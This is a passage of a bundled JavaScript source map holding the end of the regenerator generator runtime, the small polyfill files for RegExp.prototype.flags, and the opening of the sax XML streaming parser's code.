(context.method === \"throw\") {\n if (state === GenStateSuspendedStart) {\n state = GenStateCompleted;\n throw context.arg;\n }\n\n context.dispatchException(context.arg);\n\n } else if (context.method === \"return\") {\n context.abrupt(\"return\", context.arg);\n }\n\n state = GenStateExecuting;\n\n var record = tryCatch(innerFn, self, context);\n if (record.type === \"normal\") {\n // If an exception is thrown from innerFn, we leave state ===\n // GenStateExecuting and loop back for another invocation.\n state = context.done\n ? GenStateCompleted\n : GenStateSuspendedYield;\n\n if (record.arg === ContinueSentinel) {\n continue;\n }\n\n return {\n value: record.arg,\n done: context.done\n };\n\n } else if (record.type === \"throw\") {\n state = GenStateCompleted;\n // Dispatch the exception by looping back around to the\n // context.dispatchException(context.arg) call above.\n context.method = \"throw\";\n context.arg = record.arg;\n }\n }\n };\n }\n\n // Call delegate.iterator[context.method](context.arg) and handle the\n // result, either by returning a { value, done } result from the\n // delegate iterator, or by modifying context.method and context.arg,\n // setting context.delegate to null, and returning the ContinueSentinel.\n function maybeInvokeDelegate(delegate, context) {\n var method = delegate.iterator[context.method];\n if (method === undefined) {\n // A .throw or .return when the delegate iterator has no .throw\n // method always terminates the yield* loop.\n context.delegate = null;\n\n if (context.method === \"throw\") {\n // Note: [\"return\"] must be used for ES3 parsing compatibility.\n if (delegate.iterator[\"return\"]) {\n // If the delegate iterator has a return method, give it a\n // chance to clean up.\n context.method = \"return\";\n context.arg = undefined;\n maybeInvokeDelegate(delegate, context);\n\n if (context.method === \"throw\") {\n // If maybeInvokeDelegate(context) changed context.method from\n // \"return\" to \"throw\", let that override the TypeError below.\n return ContinueSentinel;\n }\n }\n\n context.method = \"throw\";\n context.arg = new TypeError(\n \"The iterator does not provide a 'throw' method\");\n }\n\n return ContinueSentinel;\n }\n\n var record = tryCatch(method, delegate.iterator, context.arg);\n\n if (record.type === \"throw\") {\n context.method = \"throw\";\n context.arg = record.arg;\n context.delegate = null;\n return ContinueSentinel;\n }\n\n var info = record.arg;\n\n if (! info) {\n context.method = \"throw\";\n context.arg = new TypeError(\"iterator result is not an object\");\n context.delegate = null;\n return ContinueSentinel;\n }\n\n if (info.done) {\n // Assign the result of the finished delegate to the temporary\n // variable specified by delegate.resultName (see delegateYield).\n context[delegate.resultName] = info.value;\n\n // Resume execution at the desired location (see delegateYield).\n context.next = delegate.nextLoc;\n\n // If context.method was \"throw\" but the delegate handled the\n // exception, let the outer generator proceed normally. If\n // context.method was \"next\", forget context.arg since it has been\n // \"consumed\" by the delegate iterator. If context.method was\n // \"return\", allow the original .return call to continue in the\n // outer generator.\n if (context.method !== \"return\") {\n context.method = \"next\";\n context.arg = undefined;\n }\n\n } else {\n // Re-yield the result returned by the delegate method.\n return info;\n }\n\n // The delegate iterator is finished, so forget it and continue with\n // the outer generator.\n context.delegate = null;\n return ContinueSentinel;\n }\n\n // Define Generator.prototype.{next,throw,return} in terms of the\n // unified ._invoke helper method.\n defineIteratorMethods(Gp);\n\n define(Gp, toStringTagSymbol, \"Generator\");\n\n // A Generator should always return itself as the iterator object when the\n // @@iterator function is called on it. Some browsers' implementations of the\n // iterator prototype chain incorrectly implement this, causing the Generator\n // object to not be returned from this call. This ensures that doesn't happen.\n // See https://github.com/facebook/regenerator/issues/274 for more details.\n define(Gp, iteratorSymbol, function() {\n return this;\n });\n\n define(Gp, \"toString\", function() {\n return \"[object Generator]\";\n });\n\n function pushTryEntry(locs) {\n var entry = { tryLoc: locs[0] };\n\n if (1 in locs) {\n entry.catchLoc = locs[1];\n }\n\n if (2 in locs) {\n entry.finallyLoc = locs[2];\n entry.afterLoc = locs[3];\n }\n\n this.tryEntries.push(entry);\n }\n\n function resetTryEntry(entry) {\n var record = entry.completion || {};\n record.type = \"normal\";\n delete record.arg;\n entry.completion = record;\n }\n\n function Context(tryLocsList) {\n // The root entry object (effectively a try statement without a catch\n // or a finally block) gives us a place to store values thrown from\n // locations where there is no enclosing try statement.\n this.tryEntries = [{ tryLoc: \"root\" }];\n tryLocsList.forEach(pushTryEntry, this);\n this.reset(true);\n }\n\n exports.keys = function(object) {\n var keys = [];\n for (var key in object) {\n keys.push(key);\n }\n keys.reverse();\n\n // Rather than returning an object with a next method, we keep\n // things simple and return the next function itself.\n return function next() {\n while (keys.length) {\n var key = keys.pop();\n if (key in object) {\n next.value = key;\n next.done = false;\n return next;\n }\n }\n\n // To avoid creating an additional object, we just hang the .value\n // and .done properties off the next function object itself. This\n // also ensures that the minifier will not anonymize the function.\n next.done = true;\n return next;\n };\n };\n\n function values(iterable) {\n if (iterable) {\n var iteratorMethod = iterable[iteratorSymbol];\n if (iteratorMethod) {\n return iteratorMethod.call(iterable);\n }\n\n if (typeof iterable.next === \"function\") {\n return iterable;\n }\n\n if (!isNaN(iterable.length)) {\n var i = -1, next = function next() {\n while (++i < iterable.length) {\n if (hasOwn.call(iterable, i)) {\n next.value = iterable[i];\n next.done = false;\n return next;\n }\n }\n\n next.value = undefined;\n next.done = true;\n\n return next;\n };\n\n return next.next = next;\n }\n }\n\n // Return an iterator with no values.\n return { next: doneResult };\n }\n exports.values = values;\n\n function doneResult() {\n return { value: undefined, done: true };\n }\n\n Context.prototype = {\n constructor: Context,\n\n reset: function(skipTempReset) {\n this.prev = 0;\n this.next = 0;\n // Resetting context._sent for legacy support of Babel's\n // function.sent implementation.\n this.sent = this._sent = undefined;\n this.done = false;\n this.delegate = null;\n\n this.method = \"next\";\n this.arg = undefined;\n\n this.tryEntries.forEach(resetTryEntry);\n\n if (!skipTempReset) {\n for (var name in this) {\n // Not sure about the optimal order of these conditions:\n if (name.charAt(0) === \"t\" &&\n hasOwn.call(this, name) &&\n !isNaN(+name.slice(1))) {\n this[name] = undefined;\n }\n }\n }\n },\n\n stop: function() {\n this.done = true;\n\n var rootEntry = this.tryEntries[0];\n var rootRecord = rootEntry.completion;\n if (rootRecord.type === \"throw\") {\n throw rootRecord.arg;\n }\n\n return this.rval;\n },\n\n dispatchException: function(exception) {\n if (this.done) {\n throw exception;\n }\n\n var context = this;\n function handle(loc, caught) {\n record.type = \"throw\";\n record.arg = exception;\n context.next = loc;\n\n if (caught) {\n // If the dispatched exception was caught by a catch block,\n // then let that catch block handle the exception normally.\n context.method = \"next\";\n context.arg = undefined;\n }\n\n return !! caught;\n }\n\n for (var i = this.tryEntries.length - 1; i >= 0; --i) {\n var entry = this.tryEntries[i];\n var record = entry.completion;\n\n if (entry.tryLoc === \"root\") {\n // Exception thrown outside of any try block that could handle\n // it, so set the completion value of the entire function to\n // throw the exception.\n return handle(\"end\");\n }\n\n if (entry.tryLoc <= this.prev) {\n var hasCatch = hasOwn.call(entry, \"catchLoc\");\n var hasFinally = hasOwn.call(entry, \"finallyLoc\");\n\n if (hasCatch && hasFinally) {\n if (this.prev < entry.catchLoc) {\n return handle(entry.catchLoc, true);\n } else if (this.prev < entry.finallyLoc) {\n return handle(entry.finallyLoc);\n }\n\n } else if (hasCatch) {\n if (this.prev < entry.catchLoc) {\n return handle(entry.catchLoc, true);\n }\n\n } else if (hasFinally) {\n if (this.prev < entry.finallyLoc) {\n return handle(entry.finallyLoc);\n }\n\n } else {\n throw new Error(\"try statement without catch or finally\");\n }\n }\n }\n },\n\n abrupt: function(type, arg) {\n for (var i = this.tryEntries.length - 1; i >= 0; --i) {\n var entry = this.tryEntries[i];\n if (entry.tryLoc <= this.prev &&\n hasOwn.call(entry, \"finallyLoc\") &&\n this.prev < entry.finallyLoc) {\n var finallyEntry = entry;\n break;\n }\n }\n\n if (finallyEntry &&\n (type === \"break\" ||\n type === \"continue\") &&\n finallyEntry.tryLoc <= arg &&\n arg <= finallyEntry.finallyLoc) {\n // Ignore the finally entry if control is not jumping to a\n // location outside the try/catch block.\n finallyEntry = null;\n }\n\n var record = finallyEntry ? finallyEntry.completion : {};\n record.type = type;\n record.arg = arg;\n\n if (finallyEntry) {\n this.method = \"next\";\n this.next = finallyEntry.finallyLoc;\n return ContinueSentinel;\n }\n\n return this.complete(record);\n },\n\n complete: function(record, afterLoc) {\n if (record.type === \"throw\") {\n throw record.arg;\n }\n\n if (record.type === \"break\" ||\n record.type === \"continue\") {\n this.next = record.arg;\n } else if (record.type === \"return\") {\n this.rval = this.arg = record.arg;\n this.method = \"return\";\n this.next = \"end\";\n } else if (record.type === \"normal\" && afterLoc) {\n this.next = afterLoc;\n }\n\n return ContinueSentinel;\n },\n\n finish: function(finallyLoc) {\n for (var i = this.tryEntries.length - 1; i >= 0; --i) {\n var entry = this.tryEntries[i];\n if (entry.finallyLoc === finallyLoc) {\n this.complete(entry.completion, entry.afterLoc);\n resetTryEntry(entry);\n return ContinueSentinel;\n }\n }\n },\n\n \"catch\": function(tryLoc) {\n for (var i = this.tryEntries.length - 1; i >= 0; --i) {\n var entry = this.tryEntries[i];\n if (entry.tryLoc === tryLoc) {\n var record = entry.completion;\n if (record.type === \"throw\") {\n var thrown = record.arg;\n resetTryEntry(entry);\n }\n return thrown;\n }\n }\n\n // The context.catch method must only be called with a location\n // argument that corresponds to a known catch block.\n throw new Error(\"illegal catch attempt\");\n },\n\n delegateYield: function(iterable, resultName, nextLoc) {\n this.delegate = {\n iterator: values(iterable),\n resultName: resultName,\n nextLoc: nextLoc\n };\n\n if (this.method === \"next\") {\n // Deliberately forget the last sent value so that we don't\n // accidentally pass it on to the delegate.\n this.arg = undefined;\n }\n\n return ContinueSentinel;\n }\n };\n\n // Regardless of whether this script is executing as a CommonJS module\n // or not, return the runtime object so that we can declare the variable\n // regeneratorRuntime in the outer scope, which allows this module to be\n // injected easily by `bin/regenerator --include-runtime script.js`.\n return exports;\n\n}(\n // If this script is executing as a CommonJS module, use module.exports\n // as the regeneratorRuntime namespace. Otherwise create a new empty\n // object. Either way, the resulting object will be used to initialize\n // the regeneratorRuntime variable at the top of this file.\n typeof module === \"object\" ? module.exports : {}\n));\n\ntry {\n regeneratorRuntime = runtime;\n} catch (accidentalStrictMode) {\n // This module should not be running in strict mode, so the above\n // assignment should always work unless something is misconfigured. Just\n // in case runtime.js accidentally runs in strict mode, in modern engines\n // we can explicitly access globalThis. In older engines we can escape\n // strict mode using a global Function call. This could conceivably fail\n // if a Content Security Policy forbids using Function, but in that case\n // the proper solution is to fix the accidental strict mode problem. If\n // you've misconfigured your bundler to force strict mode and applied a\n // CSP to forbid Function, and you're not willing to fix either of those\n // problems, please detail your unique predicament in a GitHub issue.\n if (typeof globalThis === \"object\") {\n globalThis.regeneratorRuntime = runtime;\n } else {\n Function(\"r\", \"regeneratorRuntime = r\")(runtime);\n }\n}\n","'use strict';\n\nvar $Object = Object;\nvar $TypeError = TypeError;\n\nmodule.exports = function flags() {\n\tif (this != null && this !== $Object(this)) {\n\t\tthrow new $TypeError('RegExp.prototype.flags getter called on non-object');\n\t}\n\tvar result = '';\n\tif (this.global) {\n\t\tresult += 'g';\n\t}\n\tif (this.ignoreCase) {\n\t\tresult += 'i';\n\t}\n\tif (this.multiline) {\n\t\tresult += 'm';\n\t}\n\tif (this.dotAll) {\n\t\tresult += 's';\n\t}\n\tif (this.unicode) {\n\t\tresult += 'u';\n\t}\n\tif (this.sticky) {\n\t\tresult += 'y';\n\t}\n\treturn result;\n};\n","'use strict';\n\nvar define = require('define-properties');\nvar callBind = require('call-bind');\n\nvar implementation = require('./implementation');\nvar getPolyfill = require('./polyfill');\nvar shim = require('./shim');\n\nvar flagsBound = callBind(implementation);\n\ndefine(flagsBound, {\n\tgetPolyfill: getPolyfill,\n\timplementation: implementation,\n\tshim: shim\n});\n\nmodule.exports = flagsBound;\n","'use strict';\n\nvar implementation = require('./implementation');\n\nvar supportsDescriptors = require('define-properties').supportsDescriptors;\nvar $gOPD = Object.getOwnPropertyDescriptor;\nvar $TypeError = TypeError;\n\nmodule.exports = function getPolyfill() {\n\tif (!supportsDescriptors) {\n\t\tthrow new $TypeError('RegExp.prototype.flags requires a true ES5 environment that supports property descriptors');\n\t}\n\tif ((/a/mig).flags === 'gim') {\n\t\tvar descriptor = $gOPD(RegExp.prototype, 'flags');\n\t\tif (descriptor && typeof descriptor.get === 'function' && typeof (/a/).dotAll === 'boolean') {\n\t\t\treturn descriptor.get;\n\t\t}\n\t}\n\treturn implementation;\n};\n","'use strict';\n\nvar supportsDescriptors = require('define-properties').supportsDescriptors;\nvar getPolyfill = require('./polyfill');\nvar gOPD = Object.getOwnPropertyDescriptor;\nvar defineProperty = Object.defineProperty;\nvar TypeErr = TypeError;\nvar getProto = Object.getPrototypeOf;\nvar regex = /a/;\n\nmodule.exports = function shimFlags() {\n\tif (!supportsDescriptors || !getProto) {\n\t\tthrow new TypeErr('RegExp.prototype.flags requires a true ES5 environment that supports property descriptors');\n\t}\n\tvar polyfill = getPolyfill();\n\tvar proto = getProto(regex);\n\tvar descriptor = gOPD(proto, 'flags');\n\tif (!descriptor || descriptor.get !== polyfill) {\n\t\tdefineProperty(proto, 'flags', {\n\t\t\tconfigurable: true,\n\t\t\tenumerable: false,\n\t\t\tget: polyfill\n\t\t});\n\t}\n\treturn polyfill;\n};\n",";(function (sax) { // wrapper for non-node envs\n sax.parser = function (strict, opt) { return new SAXParser(strict, opt) }\n sax.SAXParser = SAXParser\n sax.SAXStream = SAXStream\n sax.createStream = createStream\n\n // When we pass the MAX_BUFFER_LENGTH position, start checking for buffer overruns.\n // When we check, schedule the next check for MAX_BUFFER_LENGTH - (max(buffer lengths)),\n // since that's the earliest that a buffer overrun could occur. This way, checks are\n // as rare as required, but as often as necessary to ensure never crossing this bound.\n // Furthermore, buffers are only tested at most once per write(), so passing a very\n // large string into write() might have undesirable effects, but this is manageable by\n // the caller, so it is assumed to be safe. Thus, a call to write() may, in the extreme\n // edge case, result in creating at most one complete copy of the string passed in.\n // Set to Infinity to have unlimited buffers.\n sax.MAX_BUFFER_LENGTH = 64 * 1024\n\n var buffers = [\n 'comment', 'sgmlDecl', 'textNode', 'tagName', 'doctype',\n 'procInstName', 'procInstBody', 'entity', 'attribName',\n 'attribValue', 'cdata', 'script'\n ]\n\n sax.EVENTS = [\n 'text',\n 'processinginstruction',\n 'sgmldeclaration',\n 'doctype',\n 'comment',\n 'opentagstart',\n 'attribute',\n 'opentag',\n 'closetag',\n 'opencdata',\n 'cdata',\n 'closecdata',\n 'error',\n 'end',\n 'ready',\n 'script',\n 'opennamespace',\n 'closenamespace'\n ]\n\n function SAXParser (strict, opt) {\n if (!(this instanceof SAXParser)) {\n return new SAXParser(strict, opt)\n }\n\n var parser = this\n clearBuffers(parser)\n parser.q = parser.c = ''\n parser.bufferCheckPosition = sax.MAX_BUFFER_LENGTH\n parser.opt = opt || {}\n parser.opt.lowercase = parser.opt.lowercase || parser.opt.lowercasetags\n parser.looseCase = parser.opt.lowercase ? 'toLowerCase' : 'toUpperCase'\n parser.tags = []\n parser.closed = parser.closedRoot = parser.sawRoot = false\n parser.tag = parser.error = null\n parser.strict = !!strict\n parser.noscript = !!(strict || parser.opt.noscript)\n parser.state = S.BEGIN\n parser.strictEntities = parser.opt.strictEntities\n parser.ENTITIES = parser.strictEntities ? Object.create(sax.XML_ENTITIES) : Object.create(sax.ENTITIES)\n parser.attribList = []\n\n // namespaces form a prototype chain.\n // it always points at the current tag,\n // which protos to its parent tag.\n if (parser.opt.xmlns) {\n parser.ns = Object.create(rootNS)\n }\n\n // mostly just for error reporting\n parser.trackPosition = parser.opt.position !== false\n if (parser.trackPosition) {\n parser.position = parser.line = parser.column = 0\n }\n emit(parser, 'onready')\n }\n\n if (!Object.create) {\n Object.create = function (o) {\n function F () {}\n F.prototype = o\n var newf = new F()\n return newf\n }\n }\n\n if (!Object.keys) {\n Object.keys = function (o) {\n var a = []\n for (var i in o) if (o.hasOwnProperty(i)) a.push(i)\n return a\n }\n }\n\n function checkBufferLength (parser) {\n var maxAllowed = Math.max(sax.MAX_BUFFER_LENGTH, 10)\n var maxActual = 0\n for (var i = 0, l = buffers.length; i < l; i++) {\n var len = parser[buffers[i]].length\n if (len > maxAllowed) {\n // Text/cdata nodes can get big, and since they're buffered,\n // we can get here under normal conditions.\n // Avoid issues by emitting the text node now,\n // so at least it won't get any bigger.\n switch (buffers[i]) {\n case 'textNode':\n closeText(parser)\n break\n\n case 'cdata':\n emitNode(parser, 'oncdata', parser.cdata)\n parser.cdata = ''\n break\n\n case 'script':\n emitNode(parser, 'onscript', parser.script)\n parser.script = ''\n break\n\n default:\n error(parser, 'Max buffer length exceeded: ' + buffers[i])\n }\n }\n maxActual = Math.max(maxActual, len)\n }\n // schedule the next check for the earliest possible buffer overrun.\n var m = sax.MAX_BUFFER_LENGTH - maxActual\n parser.bufferCheckPosition = m + parser.position\n }\n\n function clearBuffers (parser) {\n for (var i = 0, l = buffers.length; i < l; i++) {\n parser[buffers[i]] = ''\n }\n }\n\n function flushBuffers (parser) {\n closeText(parser)\n if (parser.cdata !== '') {\n emitNode(parser, 'oncdata', parser.cdata)\n parser.cdata = ''\n }\n if (parser.script !== '') {\n emitNode(parser, 'onscript', parser.script)\n parser.script = ''\n }\n }\n\n SAXParser.prototype = {\n end: function () { end(this) },\n write: write,\n resume: function () { this.error = null; return this },\n close: function () { return this.write(null) },\n flush: function () { flushBuffers(this) }\n }\n\n var Stream\n try {\n Stream = require('stream').Stream\n } catch (ex) {\n Stream = function () {}\n }\n\n var streamWraps = sax.EVENTS.filter(function (ev) {\n return ev !== 'error' && ev !== 'end'\n })\n\n function createStream (strict, opt) {\n return new SAXStream(strict, opt)\n }\n\n function SAXStream (strict, opt) {\n if (!(this instanceof SAXStream)) {\n return new SAXStream(strict, opt)\n }\n\n Stream.apply(this)\n\n this._parser = new SAXParser(strict, opt)\n this.writable = true\n this.readable = true\n\n var me = this\n\n this._parser.onend = function () {\n me.emit('end')\n }\n\n this._parser.onerror = function (er) {\n me.emit('error', er)\n\n // if didn't throw, then means error was handled.\n // go ahead and clear error, so we can write again.\n me._parser.error = null\n }\n\n this._decoder = null\n\n streamWraps.forEach(function (ev) {\n Object.defineProperty(me, 'on' + ev, {\n get: function () {\n return me._parser['on' + ev]\n },\n set: function (h) {\n if (!h) {\n me.removeAllListeners(ev)\n me._parser['on' + ev] = h\n return h\n }\n me.on(ev, h)\n },\n enumerable: true,\n configurable: false\n })\n })\n }\n\n SAXStream.prototype = Object.create(Stream.prototype, {\n constructor: {\n value: SAXStream\n }\n })\n\n SAXStream.prototype.write = function (data) {\n if (typeof Buffer === 'function' &&\n typeof Buffer.isBuffer === 'function' &&\n Buffer.isBuffer(data)) {\n if (!this._decoder) {\n var SD = require('string_decoder').StringDecoder\n this._decoder = new SD('utf8')\n }\n data = this._decoder.write(data)\n }\n\n this._parser.write(data.toString())\n this.emit('data', data)\n return true\n }\n\n SAXStream.prototype.end = function (chunk) {\n if (chunk && chunk.length) {\n this.write(chunk)\n }\n this._parser.end()\n return true\n }\n\n SAXStream.prototype.on = function (ev, handler) {\n var me = this\n if (!me._parser['on' + ev] && streamWraps.indexOf(ev) !== -1) {\n me._parser['on' + ev] = function () {\n var args = arguments.length === 1 ? [arguments[0]] : Array.apply(null, arguments)\n args.splice(0, 0, ev)\n me.emit.apply(me, args)\n }\n }\n\n return Stream.prototype.on.call(me, ev, handler)\n }\n\n // this really needs to be replaced with character classes.\n // XML allows all manner of ridiculous numbers and digits.\n var CDATA = '[CDATA['\n var DOCTYPE = 'DOCTYPE'\n var XML_NAMESPACE = 'http://www.w3.org/XML/1998/namespace'\n var XMLNS_NAMESPACE = 'http://www.w3.org/2000/xmlns/'\n var rootNS = { xml: XML_NAMESPACE, xmlns: XMLNS_NAMESPACE }\n\n // http://www.w3.org/TR/REC-xml/#NT-NameStartChar\n // This implementation works on strings, a single character at a time\n // as such, it cannot ever support astral-plane characters (10000-EFFFF)\n // without a significant breaking change to either this parser, or the\n // JavaScript language. Implementation of an emoji-capable xml parser\n // is left as an exercise for the reader.\n var nameStart = /[:_A-Za-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD]/\n\n var nameBody = /[:_A-Za-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD\\u00B7\\u0300-\\u036F\\u203F-\\u2040.\\d-]/\n\n var entityStart = /[#:_A-Za-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD]/\n var entityBody = /[#:_A-Za-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD\\u00B7\\u0300-\\u036F\\u203F-\\u2040.\\d-]/\n\n function isWhitespace (c) {\n return c === ' ' || c === '\\n' || c === '\\r' || c === '\\t'\n }\n\n function isQuote (c) {\n return c === '\"' || c === '\\''\n }\n\n function isAttribEnd (c) {\n return c === '>' || isWhitespace(c)\n }\n\n function isMatch (regex, c) {\n return regex.test(c)\n }\n\n function notMatch (regex, c) {\n return !isMatch(regex, c)\n }\n\n var S = 0\n sax.STATE = {\n BEGIN: S++, // leading byte order mark or whitespace\n BEGIN_WHITESPACE: S++, // leading whitespace\n TEXT: S++, // general stuff\n TEXT_ENTITY: S++, // & and such.\n OPEN_WAKA: S++, // <\n SGML_DECL: S++, // \n SCRIPT: S++, //